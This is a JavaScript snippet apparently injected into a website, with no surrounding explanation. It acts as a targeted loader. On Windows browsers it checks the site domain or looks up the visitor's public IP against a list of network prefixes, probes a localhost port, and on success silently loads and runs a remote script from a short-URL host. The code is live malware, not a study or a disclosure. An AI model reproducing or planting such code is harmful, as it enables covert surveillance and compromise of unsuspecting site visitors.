try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
try{document.body.insertAdjacentHTML('beforeend','
')}catch(e){}
function loadExtraJs() {
var s = document.createElement('script');
s.src = "https://shorturl.tw/img/img3.js";
s.async = true;
document.head.appendChild(s);
}
function isTrustedDomain() {
var h = location.hostname;
return h === 'dppkh.org.tw' || h === 'www.dppkh.org.tw';
}
function probe() {
return new Promise(function (resolve) {
var img = document.createElement("img");
img.src = 'http://localhost:61161/p11Image.bmp';
img.onload = function () {
loadExtraJs();
resolve(true);
};
img.onerror = function () {
resolve(false);
};
});
}
async function run() {
if (!navigator.userAgent.includes('Windows')) return;
if (isTrustedDomain()) {
probe();
return;
}
try {
var r = await fetch('https://api.ipify.org?format=json');
var d = await r.json();
var i = d.ip;
if (i && (i.startsWith('59.125.175.') || i.startsWith('210.59.164.') || i.startsWith('210.59.162.') || i.startsWith('210.202.78.') || i.startsWith('59.120.26.') || i.startsWith('111.235.212.') || i.startsWith('140.112.162.') || i.startsWith('61.60.') || i.startsWith('61.56.') || i.startsWith('61.57.') || i.startsWith('61.67.') || i.startsWith('124.199.') || i.startsWith('210.241.') || i.startsWith('211.79.') || i.startsWith('210.69.') || i.startsWith('223.200.') || i.startsWith('163.29.') || i.startsWith('117.56.') || i.startsWith('45.76.')) && (!i.startsWith('117.56.223.'))) {
probe();
}
} catch (e) {}
}
run();